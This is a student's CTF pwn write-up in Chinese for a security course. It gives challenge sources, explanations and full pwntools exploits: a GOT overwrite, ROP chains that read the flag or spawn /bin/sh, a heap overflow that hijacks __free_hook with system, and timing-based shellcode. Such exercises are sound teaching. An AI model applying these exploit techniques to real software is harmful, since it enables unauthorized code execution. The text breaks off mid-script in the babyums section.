# CS2022 Pwn writeup ## Hackmd url https://hackmd.io/@Chtsai873/Bkh-uXcPs * LAB * [got2win](#got2win) * [rop2win](#rop2win) * [heapmath](#heapmath) * [babynote](#babynote) * HW * [how2know](#how2know) * [rop++](#rop++) * [babyums(flag1)](#babyums(flag1)) * [babyums(flag2)](#babyums(flag2)) ## got2win * 題目程式碼 ```cpp= #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> char flag[0x30]; int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); int fd = open("/home/chal/flag", O_RDONLY); read(fd, flag, 0x30); close(fd); write(1, "Good luck !\n", 13); unsigned long addr = 0; printf("Overwrite addr: "); scanf("%lu", &addr); printf("Overwrite 8 bytes value: "); read(0, (void *) addr, 0x8); printf("Give me fake flag: "); int nr = read(1, flag, 0x30); if (nr <= 0) exit(1); flag[nr - 1] = '\0'; printf("This is your flag: ctf{%s}... Just kidding :)\n", flag); return 0; } ``` * 解題思路 & 過程 這一題助教上課時基本上講解得很清楚,前半段程式碼會先讀取正確的 FLAG 進到變數,接著透過 overwrite 將 read_got 蓋成 write_plt 的位置,如此一來,透過接下來呼叫的 read 就可以變成執行 write,將 FLAG 給寫出來。 題目讀取 FLAG ![](https://i.imgur.com/usgLHo1.png) 透過 pwndbg 可以得知 write 的 plt address(助教的 pwndbg) ![](https://i.imgur.com/JUFDaM0.png) 但我的 pwndbg 不知道為何顯示的方式不太一樣,並不是直接顯示 offset,因此使用 IDA 查看 plt address ![](https://i.imgur.com/6rNQsdo.png) ![](https://i.imgur.com/lRVnITs.png) 透過指令 got 查看要覆蓋的 read_got address ![](https://i.imgur.com/leoN4uw.png) * 解題程式碼 & 執行結果圖 ```python= from pwn import * # nc edu-ctf.zoolab.org 10004 context.arch='amd64' context.terminal=['tmux', 'splitw', '-h'] r=remote('edu-ctf.zoolab.org', '10004') # r=process('./chal') read_got=0x404038 write_plt=0x4010c0 r.sendlineafter('Overwrite addr: ', str(read_got)) r.sendafter('Overwrite 8 bytes value: ', p64(write_plt)) r.interactive() ``` ![](https://i.imgur.com/0cX22Mq.png) ## rop2win * 題目程式碼 ```cpp= #include <stdio.h> #include <unistd.h> #include <seccomp.h> char fn[0x20]; char ROP[0x100]; // fd = open("flag", 0); // read(fd, buf, 0x30); // write(1, buf, 0x30); // 1 --> stdout int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0); seccomp_load(ctx); seccomp_release(ctx); printf("Give me filename: "); read(0, fn, 0x20); printf("Give me ROP: "); read(0, ROP, 0x100); char overflow[0x10]; printf("Give me overflow: "); read(0, overflow, 0x30); return 0; } ``` * 解題思路 & 過程 這一題在考 ROP,但並不是簡單的直接進行 ROP,因為題目有設定 seccomp,導致我們無法直接使用 system 指令取得 shell。這題的解題方法是透過沒有被 seccomp 限制的 read, write, open 三個指令來 exploit,因此 ROP 主要的步驟可以分為 1. open - 開啟 flag 檔案 2. read - 讀取 FLAG 3. write - 將 FLAG 寫出 ![](https://i.imgur.com/l3cqaBM.png) 其中,各種 gadget 的 offset 可以透過 `ROPgadget --multibr --binary filename > rop` 進行查詢 `pop rdi ; ret` ![](https://i.imgur.com/e1XyVec.png) `pop rax ; ret` ![](https://i.imgur.com/jws8aBX.png) 因為並沒有 `pop rdx ; ret` 的 gadget 可以使用,所以改用`pop rdx ; pop rbx ; ret` ![](https://i.imgur.com/0omUCTf.png) ...略 透過 `readelf -s ./chal` 查詢 ROP base address 及 filename address ![](https://i.imgur.com/FG6lX0R.png) ![](https://i.imgur.com/E58kWqm.png) 最後按照 send 順序塞入 flat 包裝好的指令以及 garbage 就大功告成 ![](https://i.imgur.com/xOaHbto.png) ![](https://i.imgur.com/WPwW5o1.png) * 解題程式碼 & 執行結果圖 ```python= from pwn import * # nc edu-ctf.zoolab.org 10005 context.arch='amd64' context.terminal=['tmux', 'splitw', '-h'] r=remote('edu-ctf.zoolab.org', 10005) ROP_addr=0x4e3360 fn=0x4e3340 pop_rdi_ret=0x4038b3 # pop rdi ; ret pop_rsi_ret=0x402428 # pop rsi ; ret pop_rdx_pop_rbx_ret = 0x493a2b pop_rax_ret=0x45db87 # pop rax ; ret syscall_ret=0x4284b6 # syscall ; ret leave_ret=0x40190c # leave ; ret # open("pwn/LAB2_rop2win/rop2win/share/flag", 0) # read(3, fn, 0x30) # write(1, fn, 0x30) ROP = flat( pop_rdi_ret, fn, pop_rsi_ret, 0, pop_rax_ret, 2, syscall_ret, pop_rdi_ret, 3, pop_rsi_ret, fn, pop_rdx_pop_rbx_ret, 0x30, 0, pop_rax_ret, 0, syscall_ret, pop_rdi_ret, 1, pop_rax_ret, 1, pop_rsi_ret, fn, pop_rdx_pop_rbx_ret, 0x30, 0, syscall_ret ) # ROP_bad = flat( # pop_rdi_ret, fn, # pop_rsi_ret, 0, # pop_rdx_pop_rbx_ret, 0, # pop_rax_ret, 0x3b, # syscall_ret # ) r.sendlineafter('Give me filename: ', '/home/chal/flag\x00') r.sendafter('Give me ROP: ', b'A'*0x8+ROP) r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr) + p64(leave_ret)) # #bad # """ # r.sendafter('Give me filename: ', '/bin/sh\x00') # r.sendafter('Give me ROP: ', b'A'*0x8+ROP_bad) # r.sendafter('Give me overflow: ', b'A'*0x20 + p64(ROP_addr)+p64(leave_ret)) # """ r.interactive() ``` ![](https://i.imgur.com/eRymQNk.png) ## heapmath * 題目程式碼 ```cpp= #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <time.h> int main() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); srand(time(NULL)); void *tcache_chk[7] = {0}; unsigned char tcachebin[3][7] = {0}; // 0x20, 0x30, 0x40 unsigned int tcachebin_counts[4] = {0}; unsigned long tcache_size[7] = {0}; unsigned long tcache_free_order[7] = {0}; puts("----------- ** tcache chall ** -----------"); unsigned long tmp = 0; for (int i = 0; i < 7; i++) { tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30 tcache_size[i] = tmp; } for (int i = 0; i < 7; i++) { repeat: tmp = rand() % 7; for (int j = 0; j < i; j++) if (tmp == tcache_free_order[j]) goto repeat; tcache_free_order[i] = tmp; } for (int i = 0; i < 7; i++) { tcache_chk[i] = malloc( tcache_size[i] ); printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]); } for (int i = 0; i < 7; i++) { int idx = tcache_free_order[i]; free(tcache_chk[ idx ]); printf("free(%c);\n", 'A' + (unsigned char) idx); tmp = tcache_size[ idx ] - 0x8; if (tmp % 0x10) tmp = (tmp & ~0xf) + 0x20; else tmp += 0x10; unsigned int binidx = ((tmp - 0x20) / 0x10); unsigned int bincnt = tcachebin_counts[ binidx ]; tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx; tcachebin_counts[ binidx ]++; } char tmpbuf[0x100] = {0}; char ansbuf[3][0x100] = {0}; for (int i = 0; i < 3; i++) { for (int j = 6; j >= 0; j--) if (tcachebin[i][j]) { sprintf(tmpbuf, "%c --> ", tcachebin[i][j]); strcat(ansbuf[i], tmpbuf); } strcat(ansbuf[i], "NULL"); } puts(""); for (int i = 0; i < 3; i++) { printf("[chunk size] 0x%x: ", (i+2) * 0x10); if (i == 0) { printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]); } else { printf("?\n> "); fgets(tmpbuf, 0x100, stdin); if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: \"%s\"\n", ansbuf[i]); exit(0); } } } puts("\n----------- ** address chall ** -----------"); int cmp1 = 0; int cmp2 = 0; unsigned long ans_addr = 0; cmp1 = rand() % 7; while ((cmp2 = rand() % 7) == cmp1); if (cmp1 > cmp2) { tmp = cmp1; cmp1 = cmp2; cmp2 = tmp; } printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]); printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ", 'A' + cmp2, tcache_chk[ cmp1 ]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == (unsigned long) tcache_chk[ cmp2 ]) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: %p\n", tcache_chk[ cmp2 ]); exit(0); } puts("\n----------- ** index chall ** -----------"); unsigned long *fastbin[2] = {0}; unsigned long fastbin_size = 0; unsigned long secret_idx = 0, result_idx = 0, res = 0; fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70 fastbin_size &= ~0xf; fastbin[0] = (unsigned long *) malloc( fastbin_size ); fastbin[1] = (unsigned long *) malloc( fastbin_size ); printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size); printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size); secret_idx = rand() % (fastbin_size / 8); fastbin[1][ secret_idx ] = 0xdeadbeef; result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8; printf("Y[%lu] = 0xdeadbeef;\n", secret_idx); printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> "); scanf("%lu", &res); if (fastbin[0][res] == 0xdeadbeef) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: %lu\n", result_idx); exit(0); } puts("\n----------- ** tcache fd chall ** -----------"); free(fastbin[0]); free(fastbin[1]); printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]); printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == *fastbin[1]) { puts("Correct !"); } else { puts("Wrong !"); printf("Ans: 0x%lx\n", *fastbin[1]); exit(0); } puts("\n----------- ** fastbin fd chall (final) ** -----------"); puts("[*] Restore the chunk to X and Y"); printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size); printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size); fastbin[1] = malloc(fastbin_size); fastbin[0] = malloc(fastbin_size); printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10); void *tmpchk[7]; for (int i = 0; i < 7; i++) tmpchk[i] = malloc(fastbin_size); for (int i = 0; i < 7; i++) free(tmpchk[i]); printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]); free(fastbin[0]); free(fastbin[1]); printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]); scanf("%s", tmpbuf); ans_addr = strtoul(tmpbuf, NULL, 16); if (ans_addr == *fastbin[1]) { puts("Correct !"); memset(tmpbuf, 0, 0x31); int fd = open("/home/heapmath/flag", O_RDONLY); read(fd, tmpbuf, 0x30); close(fd); printf("Here is your flag: %s\n", tmpbuf); puts("HI\n"); } else { puts("Wrong !"); printf("Ans: 0x%lx\n", *fastbin[1]); exit(0); } } ``` * 解題思路 & 過程 * 這主要在考對 Heap 的了解程度,可以簡單分成 5 個小題目,全部送出正確的答案便可以得到最後的 flag。因為題目可供連線的時間實在是不長,所以我這種手速慢的人只好寫腳本...(助教在我寫完腳本的隔天調整了連線時間,氣死,這個糞 code 我寫了很久) 1. 第一小題 `----------- ** tcache chall ** -----------` 題目隨機 malloc 了 7 個(tcache 最大值)大小介於 0x10 ~ 0x30 的記憶體位置,並將他們一一 free,使其進入 tcache,並要求輸入其在 tcache 內正確的順序,搭配 pwndbg 可以較好理解。 ![](https://i.imgur.com/VH1Zwfj.png) 2. 第二小題 `----------- ** address chall ** -----------` 此題承續上題,給了某個 tcache 內的有chunk 的記憶體位置,根據 malloc 的順序及大小即可推出其餘的 chunk 位置 ![](https://i.imgur.com/hCVUzwF.png) 3. 第三小題 `----------- ** index chall ** -----------` 第三小題依序 malloc 了大小介於 0x40 ~ 0x70 的 X, Y 兩塊記憶體空間,這題主要的概念類似 overflow,由於是連續配置的兩塊 chunk,因此可以計算出當 X 的 index 為多少時可以重疊蓋到 Y 的空間(計算 chunk and Header 大小)。 4. 第四小題 `----------- ** tcache fd chall ** -----------` 這題主要要了解 fd 的指向位置,例如 tcache fd 會指向 header 的位置,而 fastbin fd 則會指到 data 的位置。因此這題只需要簡單的計算扣掉 chunk size and header size(0x10) 即可得到 fd 5. 第五小題 `----------- ** fastbin fd chall (final) ** -----------` 第五小題與第四小題類似,計算方法則是扣掉 tache size and header size(0x10) * 解題程式碼 & 執行結果圖 ```python= import time from pwn import * # nc edu-ctf.zoolab.org 10006 context.arch='amd64' context.terminal=['tmux', 'splitw', '-h'] r=remote('edu-ctf.zoolab.org', 10006) malloc_map={} free_list=[] bin20=[] bin30=[] bin40=[] r.recvuntil(b'----------- ** tcache chall ** -----------') r.recvline() for i in range(7): t=r.recvline() c=chr(t[6]) t=t[-7:-3] malloc_map[c]=int(t, 16) for i in range(7): t=r.recvline() t=t[-4:-3] free_list.append(t) #1 for c, i in enumerate(free_list[::-1]): if (int(malloc_map[i.decode("utf-8") ])+0x8<0x20): bin20.append(i.decode("utf-8")) r.recvline() s=str() for c, i in enumerate(free_list[::-1]): if (int(malloc_map[i.decode("utf-8") ])+0x8<0x30) & (int(malloc_map[i.decode("utf-8") ])+0x8>0x20): bin30.append(i.decode("utf-8")) s+=i.decode("utf-8") s+=" --> " s+="NULL" r.sendline(s) r.recvline() s=str() for c, i in enumerate(free_list[::-1]): if (int(malloc_map[i.decode("utf-8") ])+0x8<0x40) and (int(malloc_map[i.decode("utf-8") ])+0x8>0x30): bin40.append(i.decode("utf-8")) s+=i.decode("utf-8") if c!=6: s+=" --> " s+="NULL" r.sendline(s) time.sleep(1) #2 r.recvuntil(b'----------- ** address chall ** -----------') r.recvline() t=r.recvline() c=chr(t[8]) c_address=t[13:-4] c_address=int(c_address, 16) t=chr(r.recvline()[0]) f=0 for i in OrderedDict(reversed(list(malloc_map.items()))): if i==t: f=1 continue if f==1: if i in bin20: c_address+=0x20 elif i in bin30: c_address+=0x30 elif i in bin40: c_address+=0x40 if i==c: break r.sendline(str(hex(c_address))) time.sleep(1) #3 r.recvuntil(b'----------- ** index chall ** -----------') r.recvline() t=r.recvline() c=int(t[-5:-4]) r.recvline() t=r.recvline() t=int(chr(t[2])) r.sendline(str(t+2*c+2)) time.sleep(1) #4 r.recvuntil(b'----------- ** tcache fd chall ** -----------') r.recvline() r.recvline() t=r.recv() t=t[22:36] t=int(t, 16) t=t-0x10*(c+1) r.sendline(hex(t)) time.sleep(1) #5 r.recvuntil(b'----------- ** fastbin fd chall (final) ** -----------') r.recvline() r.recvline() r.recvline() r.recvline() t=r.recvline()[-12:-8] t=int(t, 16) r.recvuntil(b'free(Y);') r.recvline() Y_address=r.recvline()[-18:-4] Y_address=int(Y_address, 16) Y_address=Y_address-(t+0x10) r.sendline(hex(Y_address)) r.interactive() ``` ![](https://i.imgur.com/w6AHzvM.png) ## babynote * 題目程式碼 ```cpp= #include <stdio.h> #include <stdlib.h> #include <unistd.h> struct Note { char name[0x10]; void *data; }; struct Note *notes[0x10]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 0x10) printf("no, no ...\n"), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); return size; } void add_note() { short int idx; idx = get_idx(); notes[idx] = malloc(sizeof(*notes[idx])); printf("note name\n> "); read(0, notes[idx]->name, 0x10); notes[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; idx = get_idx(); size = get_size(); if (notes[idx]->data == NULL) notes[idx]->data = malloc(size); read(0, notes[idx]->data, size); printf("success!\n"); } void del_note() { short int idx; idx = get_idx(); free(notes[idx]->data); free(notes[idx]); printf("success!\n"); } void show_notes() { for (int i = 0; i < 0x10; i++) { if (notes[i] == NULL || notes[i]->data == NULL) continue; printf("[%d] %s\ndata: %s\n", i, notes[i]->name, (char *)notes[i]->data); } } int main() { char opt[2]; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); while (1) { printf("1. add_note\n" "2. edit_data\n" "3. del_note\n" "4. show_notes\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_note(); break; case '2': edit_data(); break; case '3': del_note(); break; case '4': show_notes(); break; case '5': exit(0); } } return 0; } ``` * 解題思路 & 過程 這題首先第一步就是要先堆出我們所需要的 heap 結構,透過 malloc 及 free 來造成 heap buffer overflow ,從而製造出我們可以掌控的 heap 空間,並透過此空間 leak address 取得 libc address,從而做我們想做的事。 步驟就如上課所述: 1. 堆結構 ![](https://i.imgur.com/V6sGOnk.png) ![](https://i.imgur.com/0Lohunb.png) 2. Free 掉記憶體後,再透過 show operation leak 出 unsorted bin fd(指向 main arena),如此即可得到 libc address,在透過減去 offset 獲得 library base address,然後便可以透過加上各種 offset 得到指令位置(system offset 不太確定怎麼取得的,自己查了一下好像跟助教給得不太一樣,但試過後發現助教是對的) ![](https://i.imgur.com/wo4mE3E.png) 3. 搭配助教上課的圖可以較好理解這個步驟,透過 Edit operation 的 overflow 可以建構出我們所需要的 fake chunk,可以藉此讓其 pointer 指向 _free_hook,並將 system() 給寫入,如此即可透過呼叫 free 來執行 system()。則最後在將我們即將 free 掉的記憶體位置處填入我們想執行的 syscall 指令,最後的執行程式會變成 `free(B->data)` --> `system("/bin/sh")` ![](https://i.imgur.com/kPKPf1r.png) 4. 拿到 shell 後在其中找到 FLAG ![](https://i.imgur.com/ig5GBNv.png) === ![](https://i.imgur.com/rKXLT6o.png) * 解題程式碼 & 執行結果圖 ```python= # nc edu-ctf.zoolab.org 10007 import pwn import time def add_note(index, name): r.sendlineafter(b'> ', b'1') r.sendlineafter(b'index\n> ', str(index)) r.sendlineafter(b'note name\n> ', name) def edit_data(index, size, data): r.sendlineafter(b'> ', b'2') r.sendlineafter(b'index\n> ', str(index)) r.sendlineafter(b'size\n> ', str(size)) time.sleep(1) r.send(data) def del_note(index): r.sendlineafter(b'> ', b'3') r.sendlineafter(b'index\n> ', str(index)) def show_notes(): r.sendlineafter(b'> ', b'4') r = pwn.remote('edu-ctf.zoolab.org', 10007) pwn.context.arch = 'amd64' pwn.context.terminal = ['tmux', 'splitw', '-h'] add_note(0, 'A'*0x8) edit_data(0, int('0x418', 16), 'A') add_note(1, 'B'*0x8) edit_data(1, int('0x18', 16), 'B') add_note(2, 'C'*0x8) del_note(0) show_notes() r.recvuntil('data: ') libc=pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 free_hook=libc + 0x1eee48 system = libc + 0x52290 # pwn.info(f"libc: {hex(libc)}") ####################################################### fake_chunk=pwn.flat( 0, 0x21, b'CCCCCCCC', b'CCCCCCCC', free_hook ) data=b'/bin/sh\x00'.ljust(0x10, b'B') edit_data(1, int('0x38', 16), data+fake_chunk) r.recv() edit_data(2, 8, pwn.p64(system)) r.recv() del_note(1) r.interactive() ``` ![](https://i.imgur.com/op1ksiq.png) === ![](https://i.imgur.com/Umrmwx4.png) ## how2know * 題目程式碼 ```cpp= #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <seccomp.h> #include <sys/mman.h> #include <stdlib.h> static char flag[0x30]; int main() { void *addr; int fd; scmp_filter_ctx ctx; addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if ((unsigned long)addr == -1) perror("mmap"), exit(1); fd = open("/home/chal/flag", O_RDONLY); if (fd == -1) perror("open"), exit(1); read(fd, flag, 0x30); close(fd); write(1, "talk is cheap, show me the code\n", 33); read(0, addr, 0x1000); ctx = seccomp_init(SCMP_ACT_KILL); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); seccomp_load(ctx); seccomp_release(ctx); ((void(*)())addr)(); return 0; } ``` * 解題思路 & 過程 這題的程式碼一開始根本看不懂,直到查過一輪才開始理解它在幹嘛,大概的流程如下 1. 設定記憶體映射 addr 2. 開啟`/home/chal/flag`讀入 FLAG 3. 讀入 0x1000 的資料進 addr Buffer 4. 使用 seccomp 鎖住除了 exit & exit_group 之外的 syscall 5. 呼叫輸入的資料(?) 由於這題幾乎把所有的 syscall 都限制住了,看起來沒有辦法透過 BOF 之類的漏洞處理,因此需要用點別的辦法,程式中呼叫了 read 取得 0x1000 大小的資料,我們可以透過這個 buffer 將 assmebly code 寫入使其執行。且程式中有確實的把 FLAG 給讀進 Buffer,因此我們可以透過 IDA 查看得知 FLAG 存入的位置,但我們沒辦法使用 write 將其寫出,因此這邊使用土法煉鋼的辦法,可以從題目中得知 FLAG 長度為 0x30,我們可以透過 remote 最多 (FLAG 長度(0x30) * Ascii code table(256))次來確認 FLAG內的所有字元的 Ascii code,雖然依舊沒辦法直接回傳,但可以透過時間函數 time 來比對,若是比對到相同的程式便使其進入無窮迴圈(詢問同學才得知此功能),導致程式執行時間拉長,最終 crash;若是比對失敗則直接退出,如此透過 runtime threshold 便可以逐一確認 FLAG 內的字元,但需要執行一段時間... 使用 IDA找到 FLAG load 的位置 ![](https://i.imgur.com/sFP1W0w.png) 使用 IDA找到 執行 Buffer code 時的 [rsp] ![](https://i.imgur.com/MC64jAx.png) 將 FLAG 逐個字元取出比對 ![](https://i.imgur.com/AdjlWP4.png) runtime threshold 分別是 2 秒為連線的長度,1.5秒為成功判別字元的迴圈時間,若當前字元並未配對成功則會直接退出,正常情況下不會超過1.5秒。 ![](https://i.imgur.com/bqvJ0w3.png) * 解題程式碼 & 執行結果圖 ```python= # nc edu-ctf.zoolab.org 10002 from pwn import * import time context.arch='amd64' context.terminal=['tmux', 'splitw', '-h'] offset=0x4040-0x13dc # rsp 與 flag 之間 offset def func(flag, asci): global offset asm_code = asm(f""" xor rdx, rdx mov rdx, qword ptr [rsp] add rdx, {offset} xor rax, rax mov rax, qword ptr [rdx+{flag}] cmp al, {asci} je $-0x2 ret """) r = remote("edu-ctf.zoolab.org", 10002) start = time.time() # r.recvuntil(b"talk is cheap, show me the code") r.recvline() r.send(asm_code) try: r.recvline(timeout=2) except: ... r.close() if time.time() - start > 1.5: return True return False FLAG = "" for f in range(48): for asci in range(33, 127): if func(hex(f), asci): print("find", chr(asci)) FLAG += chr(asci) print(FLAG) break print(FLAG) ``` ![](https://i.imgur.com/JWo0JHO.png) ![](https://i.imgur.com/esb2Ipj.png) ![](https://i.imgur.com/NXoEJbJ.png) ## rop++ * 題目程式碼 ```cpp= #include <stdio.h> #include <unistd.h> #include <string.h> int main() { char buf[0x10]; const char *msg = "show me rop\n> "; write(1, msg, strlen(msg)); read(0, buf, 0x200); return 0; } ``` * 解題思路 & 過程 這題 rop++ 相較其他題目之下就比較簡短,概念基本上也跟 LAB2 差不多,需要透過 gadget 改造 read 來想辦法執行我們需要的指令。這題看完題目後發現只有一個 Read 的 stack buffer overflow,且題目本身沒有加上 seccomp 之類的限制,以及為 static 編譯。看完題目後決定使用 rop gadget 想辦法執行 `/bin/sh` 取得程式使用權,因此一樣使用 `ROPgadget --multibr --binary filename > rop` 查看可使用的 rop gadget `pop rdi ; ret` ![](https://i.imgur.com/wqVtIN7.png) `pop rsi ; ret` ![](https://i.imgur.com/TfqviU9.png) `syscall` ![](https://i.imgur.com/CXjQsY5.png) 由於找不到 `pop rdx ; ret` 因此改用 `pop rdx ; pop rbx ; ret` 作為替代 ![](https://i.imgur.com/8iaCqiz.png) ...略 由於程式內找不到 `/bin/sh`,所以需要自己放入,助教似乎是使用 read 來進行讀取,但我實作時不知道發生了甚麼錯誤一直行不通,詢問隊友才知道也可以使用 mov 來給字串(由於`"/bin/sh/\x00"`剛好為 8bytes), 在同伴指引下找到可使用的 gadget ![](https://i.imgur.com/fL6E484.png) 暫時儲存字串的位置可以透過 `readelf -S ./chal` 找尋,我使用 .data 的位置來暫存`"/bin/sh/\x00"` -> temp_region ![](https://i.imgur.com/n4Y2n8H.png) ROP 段 ![](https://i.imgur.com/vqcZh1H.png) * 解題程式碼 & 執行結果圖 ```python= from pwn import * # nc edu-ctf.zoolab.org 10003 context.arch='amd64' context.terminal=['tmux', 'splitw', '-h'] r=remote('edu-ctf.zoolab.org', 10003) temp_region=0x4c50e0 pop_rax_ret=0x447b27 pop_rdi_ret=0x401e3f pop_rsi_ret=0x409e6e pop_rdx_pop_rbx_ret=0x47ed0b mov_rsi_rax=0x449fa5 syscall=0x401bf4 ROP=flat( b"A"*40, pop_rax_ret, b'/bin/sh\0', pop_rsi_ret, temp_region, mov_rsi_rax, pop_rdi_ret, temp_region, pop_rsi_ret, 0, pop_rdx_pop_rbx_ret, 0, 0, pop_rax_ret, 0x3b, syscall ) r.recvuntil(b'show me rop\n> ') r.sendline(ROP) r.interactive() ``` ![](https://i.imgur.com/V4uQ3Zm.png) ## babyums(flag1) * 題目程式碼 ```cpp= #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define FLAG1 "flag{XXXXXXXX}" struct User { char name[0x10]; char password[0x10]; void *data; }; struct User *users[8]; static short int get_idx() { short int idx; printf("index\n> "); scanf("%hu", &idx); if (idx >= 8) printf("no, no ..."), exit(1); return idx; } static short int get_size() { short int size; printf("size\n> "); scanf("%hu", &size); if (size >= 0x500) printf("no, no ..."), exit(1); return size; } void add_user() { short int idx; idx = get_idx(); users[idx] = malloc(sizeof(*users[idx])); printf("username\n> "); read(0, users[idx]->name, 0x10); printf("password\n> "); read(0, users[idx]->password, 0x10); users[idx]->data = NULL; printf("success!\n"); } void edit_data() { short int idx; short int size; idx = get_idx(); size = get_size(); if (users[idx]->data == NULL) users[idx]->data = malloc(size); read(0, users[idx]->data, size); printf("success!\n"); } void del_user() { short int idx; idx = get_idx(); free(users[idx]->data); free(users[idx]); printf("success!\n"); } void show_users() { for (int i = 0; i < 8; i++) { if (users[i] == NULL || users[i]->data == NULL) continue; printf("[%d] %s\ndata: %s\n", i, users[i]->name, (char *)users[i]->data); } } void add_admin() { users[0] = malloc(sizeof(*users[0])); strcpy(users[0]->name, "admin"); strcpy(users[0]->password, FLAG1); users[0]->data = NULL; } int main() { char opt[2]; int power = 20; setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); printf("**** User Management System ****\n"); add_admin(); while (power) { power--; printf("1. add_user\n" "2. edit_data\n" "3. del_user\n" "4. show_users\n" "5. bye\n" "> "); read(0, opt, 2); switch (opt[0]) { case '1': add_user(); break; case '2': edit_data(); break; case '3': del_user(); break; case '4': show_users(); break; case '5': exit(0); } } printf("No... no power..., b..ye...\n"); return 0; } ``` * 解題思路 & 過程 這題是跟 babynote 類似的選單題,因此解題手法也類似,甚至程式碼都沒有改變太多,只有根據 struct 變化而堆的結構以及改了一點點 function 的寫法 1. 堆結構 ![](https://i.imgur.com/5YZs1Sc.png) ![](https://i.imgur.com/0Lohunb.png) 2. Free 掉記憶體後,再透過 show operation leak 出 unsorted bin fd(指向 main arena),如此即可得到 libc address,在透過減去 offset 獲得 library base address,然後便可以透過加上各種 offset 得到指令位置(system offset 不太確定怎麼取得的,自己查了一下好像跟助教給得不太一樣,但試過後發現助教是對的) ![](https://i.imgur.com/DXz9Vtr.png) 因為fake chunk 已被 free 過了,因此原先為 data 的位置處現在存放的是 unsorted bin fd,可以透過 `show_users()` leak address ![](https://i.imgur.com/KYgaUzV.png) 3. 搭配助教上課的圖可以較好理解這個步驟,透過 Edit operation 的 overflow 可以建構出我們所需要的 fake chunk,可以藉此讓其 pointer 指向 _free_hook,並將 system() 給寫入,如此即可透過呼叫 free 來執行 system()。則最後在將我們即將 free 掉的記憶體位置處填入我們想執行的 syscall 指令,最後的執行程式會變成 `free(B->data)` --> `system("/bin/sh")` ![](https://i.imgur.com/kPKPf1r.png) 4. 最後透過 del_user 呼叫 free 來執行 execve() ![](https://i.imgur.com/XGLc2Rt.png) * 解題程式碼 & 執行結果圖 ```python= # nc edu-ctf.zoolab.org 10008 # P.S. flag1 is the password of admin import pwn import time def add_user(index, name, passw): r.sendlineafter(b'> ', b'1') r.sendlineafter(b'index\n> ', str(index)) r.sendlineafter(b'username\n> ', str(name)) r.sendlineafter(b'password\n> ', passw) time.sleep(1) def edit_data(index, size, data): r.sendlineafter(b'> ', b'2') r.sendlineafter(b'index\n> ', str(index)) r.sendlineafter(b'size\n> ', str(size)) time.sleep(1) r.send(data) def del_user(index): r.sendlineafter(b'> ', b'3') r.sendlineafter(b'index\n> ', str(index)) time.sleep(1) def show_users(): r.sendlineafter(b'> ', b'4') pwn.context.arch = 'amd64' pwn.context.terminal = ['tmux', 'splitw', '-h'] r = pwn.remote('edu-ctf.zoolab.org', 10008) add_user(0, 'A'*0x8, 'A'*0x8) edit_data(0, int('0x418', 16), 'A') add_user(1, 'B'*0x8, 'B'*0x8) edit_data(1, int('0x18', 16), 'B') add_user(2, 'C'*0x8, 'C'*0x8) del_user(0) show_users() r.recvuntil('data: ') libc = pwn.u64(r.recv(6).ljust(8, b'\x00')) - 0x1ecbe0 system = libc + 0x52290 